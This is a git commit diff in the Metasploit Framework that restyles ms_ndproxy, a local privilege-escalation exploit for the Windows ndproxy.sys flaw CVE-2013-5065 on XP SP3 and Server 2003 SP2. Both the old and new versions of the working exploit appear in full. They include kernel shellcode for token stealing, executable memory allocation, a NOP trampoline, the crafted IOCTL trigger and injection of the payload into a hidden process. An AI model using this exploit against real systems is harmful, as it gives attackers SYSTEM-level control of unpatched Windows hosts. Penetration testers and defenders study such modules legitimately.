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metasploit-framework
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Apply rubocop suggestions for ms_ndproxy

bug/bundler_fix
Spencer McIntyre 2014-08-04 11:47:39 -07:00
parent 86e2377218
commit a523898909
1 changed files with 89 additions and 94 deletions
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161
modules/exploits/windows/local/ms_ndproxy.rb
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@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info={})
def initialize(info = {})
super(update_info(info, {
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
'Description' => %q{
'Description' => %q(
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Local
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
work the service "Routing and Remote Access" must be running on the target system.
},
),
'License' => MSF_LICENSE,
'Author' =>
[
@ -42,15 +42,15 @@ class Metasploit3 < Msf::Exploit::Local
'Space' => 4096,
'DisableNops' => true
},
'SessionTypes' => [ 'meterpreter' ],
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Windows XP SP3',
['Automatic', {}],
['Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
}
],
[ 'Windows Server 2003 SP2',
['Windows Server 2003 SP2',
{
'HaliQuerySystemInfo' => 0x1fa1e,
'_KPROCESS' => "\x38",
@ -71,38 +71,36 @@ class Metasploit3 < Msf::Exploit::Local
],
'References' =>
[
[ 'CVE', '2013-5065' ],
[ 'MSB', 'MS14-002' ],
[ 'OSVDB' , '100368'],
[ 'BID', '63971' ],
[ 'EDB', '30014' ],
[ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
[ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
[ 'URL', 'http://www.secniu.com/blog/?p=53' ],
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
[ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
%w(CVE 2013-5065),
%w(MSB MS14-002),
%w(OSVDB 100368),
%w(BID 63971),
%w(EDB 30014),
%w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
%w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
%w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp),
%w(URL http://www.secniu.com/blog/?p=53),
%w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
%w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
],
'DisclosureDate'=> 'Nov 27 2013',
'DisclosureDate' => 'Nov 27 2013',
'DefaultTarget' => 0
}))
end
def ring0_shellcode(t)
restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
return ring0_shellcode
ring0_shellcode
end
def fill_memory(proc, address, length, content)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
unless proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
vprint_error('Failed to allocate memory')
return nil
end
@ -111,13 +109,13 @@ class Metasploit3 < Msf::Exploit::Local
result = proc.memory.write(address, content)
if result.nil?
vprint_error("Failed to write contents to memory")
vprint_error('Failed to write contents to memory')
return nil
else
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
end
return address
address
end
def create_proc
@ -125,14 +123,14 @@ class Metasploit3 < Msf::Exploit::Local
cmd = "#{windir}\\System32\\notepad.exe"
# run hidden
begin
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
rescue Rex::Post::Meterpreter::RequestError
# when running from the Adobe Reader sandbox:
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
return nil
end
return proc.pid
proc.pid
end
def disclose_addresses(t)
@ -140,37 +138,36 @@ class Metasploit3 < Msf::Exploit::Local
hal_dispatch_table = find_haldispatchtable
return nil if hal_dispatch_table.nil?
addresses["halDispatchTable"] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
addresses['halDispatchTable'] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
vprint_status("Getting the hal.dll Base Address...")
hal_info = find_sys_base("hal.dll")
vprint_status('Getting the hal.dll Base Address...')
hal_info = find_sys_base('hal.dll')
if hal_info.nil?
vprint_error("Failed to disclose hal.dll Base Address")
vprint_error('Failed to disclose hal.dll Base Address')
return nil
end
hal_base = hal_info[0]
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
addresses["HaliQuerySystemInfo"] = hali_query_system_information
addresses['HaliQuerySystemInfo'] = hali_query_system_information
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
return addresses
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
addresses
end
def check
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/
return Exploit::CheckCode::Detected
end
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
if handle.nil?
return Exploit::CheckCode::Safe
end
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
return Exploit::CheckCode::Safe if handle.nil?
session.railgun.kernel32.CloseHandle(handle)
os = sysinfo["OS"]
os = sysinfo['OS']
case os
when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears
@ -183,27 +180,26 @@ class Metasploit3 < Msf::Exploit::Local
else
return Exploit::CheckCode::Safe
end
end
def exploit
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
if sysinfo['Architecture'] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] =~ /x64/
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
print_status('Detecting the target system...')
os = sysinfo['OS']
if os =~ /windows xp.*service pack 3/i
my_target = targets[1]
print_status("Running against #{my_target.name}")
elsif ((os =~ /2003/) and (os =~ /service pack 2/i))
elsif (os =~ /2003/) && (os =~ /service pack 2/i)
my_target = targets[2]
print_status("Running against #{my_target.name}")
elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
my_target = targets[2]
print_status("Running against #{my_target.name}")
end
@ -212,96 +208,95 @@ class Metasploit3 < Msf::Exploit::Local
end
if my_target.nil?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
end
print_status("Checking device...")
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
print_status('Checking device...')
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found')
else
print_good("\\\\.\\NDProxy found!")
print_good('\\\\.\\NDProxy found!')
end
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.')
else
print_good("Addresses successfully disclosed.")
print_good('Addresses successfully disclosed.')
end
print_status("Storing the kernel stager on memory...")
print_status('Storing the kernel stager in memory...')
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode(my_target)
kernel_shell_address = 0x1000
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
else
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
end
print_status("Storing the trampoline to the kernel stager on memory...")
print_status('Storing the trampoline to the kernel stager on memory...')
trampoline = "\x90" * 0x38 # nops
trampoline << "\x68" # push opcode
trampoline << [0x1000].pack("V") # address to push
trampoline << [0x1000].pack('V') # address to push
trampoline << "\xc3" # ret
trampoline_addr = 0x1
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
else
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
end
print_status("Storing the IO Control buffer on memory...")
print_status('Storing the IO Control buffer on memory...')
buffer = "\x00" * 1024
buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call
buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call
buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call
buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call
buffer_addr = 0x0d0d0000
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")
fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory')
else
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
end
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
magic_ioctl = 0x8fff23c8
# Values taken from the exploit in the wild, see references
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
session.railgun.kernel32.CloseHandle(handle)
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
print_status("Checking privileges after exploitation...")
print_status('Checking privileges after exploitation...')
unless is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful")
fail_with(Failure::Unknown, 'The exploitation was not successful')
end
p = payload.encoded
print_good("Exploitation successful! Creating a new process and launching payload...")
print_good('Exploitation successful! Creating a new process and launching payload...')
new_pid = create_proc
if new_pid.nil?
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...')
return
end
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
if execute_shellcode(p, nil, new_pid)
print_good("Enjoy")
print_good('Enjoy')
else
fail_with(Failure::Unknown, "Error while executing the payload")
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end